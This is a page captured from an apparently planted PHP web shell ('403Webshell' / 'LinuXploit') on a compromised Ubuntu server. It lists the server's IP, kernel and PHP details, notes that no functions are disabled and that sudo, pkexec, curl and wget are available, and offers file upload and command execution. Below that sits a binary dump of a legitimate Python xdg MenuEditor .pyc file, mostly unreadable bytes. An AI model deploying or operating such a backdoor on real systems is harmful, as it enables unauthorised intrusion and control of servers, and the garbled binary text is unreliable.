403Webshell
Server IP : 209.205.66.10  /  Your IP : 216.73.217.150
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ammon 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
User :  ( 1006)
PHP Version : 8.5.8
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/xdg/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/xdg/__pycache__/MenuEditor.cpython-310.pyc
o

 =�_�I�@s�dZddlZzddlmmZWney#ddlmmZYnwddlm	Z	m
Z
mZmZm
Z
ddlmZmZddlmZddlmZGdd�de�ZdS)	z CLass to edit XDG Menus �N)�Menu�	MenuEntry�Layout�	Separator�XMLMenuBuilder)�xdg_config_dirs�
xdg_data_dirs)�ParsingError)�setRootModec@s\eZdZdQdd�ZdQdd�Zdd�ZdRd	d
�ZdSdd�ZdTd
d�ZdTdd�Z	dTdd�Z
dTdd�ZdTdd�ZdUdd�Z
dVdd�Zdd�Zdd�Zdd �Zd!d"�Zd#d$�Zd%d&�Zd'd(�Zd)d*�Zd+d,�Z	d-d.�Zd/d0�Zd1d2�Zd3d4�ZdWd6d7�Zd8d9�Zd:d;�ZdXd=d>�Zd?d@�Z dAdB�Z!dCdD�Z"dTdEdF�Z#dTdGdH�Z$dIdJ�Z%dKdL�Z&dMdN�Z'dOdP�Z(dS)Y�
MenuEditorNFcCs2d|_d|_d|_t�|_|�|||�g|_dS�N)�menu�filename�treer�parser�parse�	filenames��selfr
r�root�r�0/usr/lib/python3/dist-packages/xdg/MenuEditor.py�__init__s
zMenuEditor.__init__cCs�|rtd�t|t�r||_n|r|j�|�|_n|j��|_|r'|jj|_n|r-||_ntj	�
tddtj	�|jj�d�|_z	t
�|j�|_Wn$tyat
�d|jj�}t
�|�|_Yn
tymtd|j��w|�|j�dS)NTr�menus�z�
<!DOCTYPE Menu PUBLIC "-//freedesktop//DTD Menu 1.0//EN" "http://standards.freedesktop.org/menu-spec/menu-1.0.dtd">
    <Menu>
        <Name>Applications</Name>
        <MergeFile type="parent">%s</MergeFile>
    </Menu>
zNot a valid .menu file)r
�
isinstancerr
rr�Filenamer�os�path�joinr�split�etreer�IOError�
fromstring�ElementTreer	�$_MenuEditor__remove_whitespace_nodesrrrrr$s.
&��zMenuEditor.parsecCs|�|j�|��dSr)�_MenuEditor__saveEntriesr
�_MenuEditor__saveMenu�rrrr�saveGszMenuEditor.savec
	CsDt|�|d��}
|�|
||||||�}
|�||
||	�|j��|
S)N�.desktop)r�_MenuEditor__getFileName�
editMenuEntry�_MenuEditor__addEntryr
�sort)r�parent�name�command�genericname�comment�icon�terminal�after�before�	menuentryrrr�createMenuEntryKs

zMenuEditor.createMenuEntryc	CsXt�}||_|jd|_|j|_|j|_|�|||||�}|�||||�|j��|S)Nr)	r�Parent�Depth�
DefaultLayoutr�editMenur-r
r.)	rr/r0r2r3r4r6r7r
rrr�
createMenuUs
zMenuEditor.createMenucCs&t|�}|�||||�|j��|Sr)rr-r
r.)rr/r6r7�	separatorrrr�createSeparatores
zMenuEditor.createSeparatorcCs.|�||||�|�||||�|j��|Sr��_MenuEditor__deleteEntryr-r
r.�rr8�	oldparent�	newparentr6r7rrr�
moveMenuEntryn�
zMenuEditor.moveMenuEntryc	Cs�|�||||�|�||||�|�|jj�}|�d�|�d�kr:|�|tj�	|�d�|j�tj�	|�d�|j��|j�
�|S)NT)rBr-�_MenuEditor__getXmlMenur
�Name�getPath�_MenuEditor__addXmlMoverrrr.)rr
rDrEr6r7�	root_menurrr�moveMenuvs2
zMenuEditor.moveMenucCs.|�||||�|�||||�|j��|SrrA)rr?r/r6r7rrr�
moveSeparator�rGzMenuEditor.moveSeparatorcCs|�||||�|j��|Sr)r-r
r.rCrrr�
copyMenuEntry�s
zMenuEditor.copyMenuEntryc
Cs>|j}
|r|
�d�s|
�d|�|
jd|dd�|r-|
�d�s%|
�d|�|
jd|dd�|rB|
�d�s:|
�d|�|
jd|dd�|rJ|
�d|�|rR|
�d|�|r[|
�dd	�n|sc|
�dd
�|durn|
�dd	�n
|durx|
�dd
�|	dur�|
�d
d	�n
|	dur�|
�d
d
�|��t|j�dkr�|j��|S)NrIT��locale�Comment�GenericName�Exec�Icon�Terminal�true�false�	NoDisplayF�Hiddenr)�DesktopEntry�hasKey�set�updateAttributes�len�Parentsr
r.)rr8r0r2r3r1r4r5�	nodisplay�hidden�	deskentryrrrr,�sB



zMenuEditor.editMenuEntrycCs�t|jt�r)|jjdkr)|�|�dd��}|�|d|jd�|j�|jd�n4t|jt�s]|s4|j}|�	|d��
dd�}	|jsH|	�
dd�|_|�|�dd��}|�|d|	�t|	�|_|jj}
|rv|
�d�sn|
�
d|�|
j
d|dd�|r�|
�d�s�|
�
d|�|
j
d|dd�|r�|
�d	�s�|
�
d	|�|
j
d	|dd�|r�|
�
d
|�|dur�|
�
dd�n
|d
ur�|
�
dd�|dur�|
�
dd�n
|d
ur�|
�
dd�|j��t|jt�r�|j��|S)N�
.directoryT�	Directory�/�rIrPrSrRrUrYrWFrXrZ)rrerrrHrJ�_MenuEditor__addXmlTextElementrI�
setAttributesr+�replacer[r\r]r^r:rr
r.)rr
r0r2r3r4rarb�xml_menurrcrrrr=�sP





zMenuEditor.editMenucC�|j|dd�dS�NT)ra�r,�rr8rrr�
hideMenuEntry��zMenuEditor.hideMenuEntrycCs|j|ddd�dS)NF�rarbrnrorrr�unhideMenuEntry�szMenuEditor.unhideMenuEntrycCrlrm)r=�rr
rrr�hideMenu�rqzMenuEditor.hideMenucCsT|j|ddd�|�|�dd�d�}|�d�}|�d�}||D]}|�|�q dS)NFrrT�Deleted�
NotDeleted)r=rHrJ�findall�remove)rr
rk�deleted�not_deleted�noderrr�
unhideMenu�s

�zMenuEditor.unhideMenucCsB|�|�dkr|�|jj�|jD]}|�||�q|j��|S)N�delete)�	getAction�_MenuEditor__deleteFiler[rr`rBr
r.)rr8r/rrr�deleteMenuEntry�s

zMenuEditor.deleteMenuEntrycCs||�|�dkr<|�|jj�g|j_|jD]!}|j�|�}|j|j|<|j�|�}|j|j|<|jj�	|�q|j
��|S�N�revert)rr�r[r�Originalr`�Entries�index�MenuEntries�appendr
r.)rr8r/r�rrr�revertMenuEntrys

zMenuEditor.revertMenuEntrycCs`|�|�dkr.|�|jjj�|�|j|�|�|�dd��}|�	|�}|�
|�|j��|S)Nr~T)
rr�rer[rrBr:rHrJ�_MenuEditor__get_parent_noderyr
r.)rr
rkr/rrr�
deleteMenus


zMenuEditor.deleteMenucCs6|�|�dkr|�|jjj�|jj|_|j��|Sr�)rr�rer[rr�r
r.rtrrr�
revertMenus


zMenuEditor.revertMenucCs |j|j|dd�|j��|S)NT)r6)rBr:r
r.)rr?rrr�deleteSeparator%s
zMenuEditor.deleteSeparatorcCs�t|t�r-t|jt�s
dS|j��dkrdS|j��dkr+t|j�t|j�dkr+dSdSt|t�rD|��dkr:dS|��dkrBdSdSdS)N�none�Bothr��Userrr~)rrrer�getTyper_�Submenusr�)r�entryrrrr-s$
�

�zMenuEditor.getActioncCs^|s|j}t|jt�r|j��|jdd�D]}t|t�r"|��qt|t�r,|�|�qdS)NT)rb)r
rrerr)�
getEntriesrr&)rr
r�rrr�
__saveEntriesBs




��zMenuEditor.__saveEntriescCs@tj�tj�|j��st�tj�|j��|jj|jdd�dS)Nzutf-8)�encoding)rr�isdir�dirnamer�makedirsr�writer(rrr�
__saveMenuMszMenuEditor.__saveMenucCs�d}	|dkr||}n
|dt|�|}|dkrd}n|dkr#d}||jvr?tj�tj�td||��s?|j�|�	|S|d7}q)Nrr�-r*�applicationsrdzdesktop-directories)�strrrr�isfilerrr�)rr0�	extension�postfixr�dirrrr�
__getFileNameRs"
���zMenuEditor.__getFileNameTcCs�|s|j}d|vr|�dd�\}}n|}d}d}|�d�D]}|�d�}|j|kr5|r3|�|||�}n|}|r9nq|sQ|rQ|�||�}|rO|�|||�}|S|}|S)NrfrrgrrI)rr rx�find�textrH�_MenuEditor__addXmlMenuElement)rr�create�elementr0�foundr|�	name_noderrr�__getXmlMenugs.

��zMenuEditor.__getXmlMenucCs"t�d|�}t�d|�}||_|S)NrrI�r!�
SubElementr�)rr�r0�	menu_noder�rrr�__addXmlMenuElement�szMenuEditor.__addXmlMenuElementcCst�||�}||_|Srr�)rr�r0r�r|rrr�__addXmlTextElement�szMenuEditor.__addXmlTextElement�Includec	Csj|�d�}|�d�}||}|D]}|djdkr%|dj|kr%|�|�qt�||�}|�|d|�|S)Nr��Excluderr)rx�tagr�ryr!r�rh)	rr�r�type_�includes�excludes�rules�ruler|rrr�__addXmlFilename�s


�
zMenuEditor.__addXmlFilenamecCs,t�d|�}|�|d|�|�|d|�|S)N�Move�Old�New)r!r�rh)rr��old�newr|rrr�__addXmlMove�szMenuEditor.__addXmlMovecCs�|�d�D]}|�|�qt�d|�}|jD]B}|ddkr%t�d|�}q|ddkr5|�|d|d�}q|ddkrE|�|d|d�}q|ddkrXt�d|�}|d|jd<q|S)	Nrrrrr�Menuname�Merge�type)rxryr!r��orderrh�attrib)rr��layoutr|r��childrrr�__addXmlLayout�s
�zMenuEditor.__addXmlLayoutcCs�t�}g|_|jj|_|jj|_|jj|_|jj|_|jj|_|j�ddg�|jD]#}t	|t
�r8|�|j�q*t	|t
�rD|�|j�q*t	|t�rM|��q*|j�ddg�||_|S)Nr�r�files)rr��
show_empty�inline�
inline_header�inline_alias�inline_limitr�r�rr�
parseMenunamerIr�
parseFilename�
DesktopFileIDr�parseSeparator)rr/r�r�rrr�__addLayout�s&








�zMenuEditor.__addLayoutcCs�|s|r|r|j�|�d}n|r|j�|�}|j�||�n|j�|�|�|�dd��}t|t�rH|j�|�|j	�|�|�
||jd�n
t|t�rR|�
|�|sV|rd|�|�|�||j�dSdS)NrTr�)r�r��insertr�rHrJrrr�r`�_MenuEditor__addXmlFilenamer�r�
addSubmenu�_MenuEditor__addLayout�_MenuEditor__addXmlLayoutr)rr/r�r6r7r��
xml_parentrrr�
__addEntry�s$



�zMenuEditor.__addEntrycCs�|j�|�|�|�dd��}t|t�r)|j�|�|j�|�|�||j	d�nt|t
�r4|j�|�|s8|rF|�|�|�
||j�dSdS)NTr�)r�ryrHrJrrr`r�r�r�rr�r�r�r)rr/r�r6r7r�rrr�
__deleteEntry�s


�zMenuEditor.__deleteEntrycCsJzt�|�Wn	tyYnwz	|j�|�WdSty$YdSwr)rry�OSErrorr�
ValueError)rrrrr�__deleteFile�s��zMenuEditor.__deleteFilecCsH|D]}|j��}|sd|_|j��}|sd|_t|�r!|�|�qdS)Nrg)r��strip�tailr_�$_MenuEditor__remove_whilespace_nodes)rr|r�r�r�rrr�__remove_whitespace_nodes	s


��z$MenuEditor.__remove_whitespace_nodescCs&|��D]\}}||ur|SqdSr)�_MenuEditor__iter_parent)rr|r/r�rrr�__get_parent_nodes
��zMenuEditor.__get_parent_nodeccs*�|j��D]}|D]}||fVq
qdSr)r�getiterator)rr/r�rrr�
__iter_parents���zMenuEditor.__iter_parent)NNF)NNNNNNN)NNNNN)NN)NNNNNNNN)NNNNNN)TN)r�))�__name__�
__module__�__qualname__rrr)r9r>r@rFrMrNrOr,r=rprsrur}r�r�r�r�r�rr&r'r+rHr�rhr�rKr�r�r-rBr�r%r�r�rrrrrsP


#




	




*3


 



r)�__doc__r�xml.etree.cElementTreer!�cElementTree�ImportError�xml.etree.ElementTreer$�xdg.Menurrrrr�xdg.BaseDirectoryrr�xdg.Exceptionsr	�
xdg.Configr
�objectrrrrr�<module>s�

Youez - 2016 - github.com/yon3zu
LinuXploit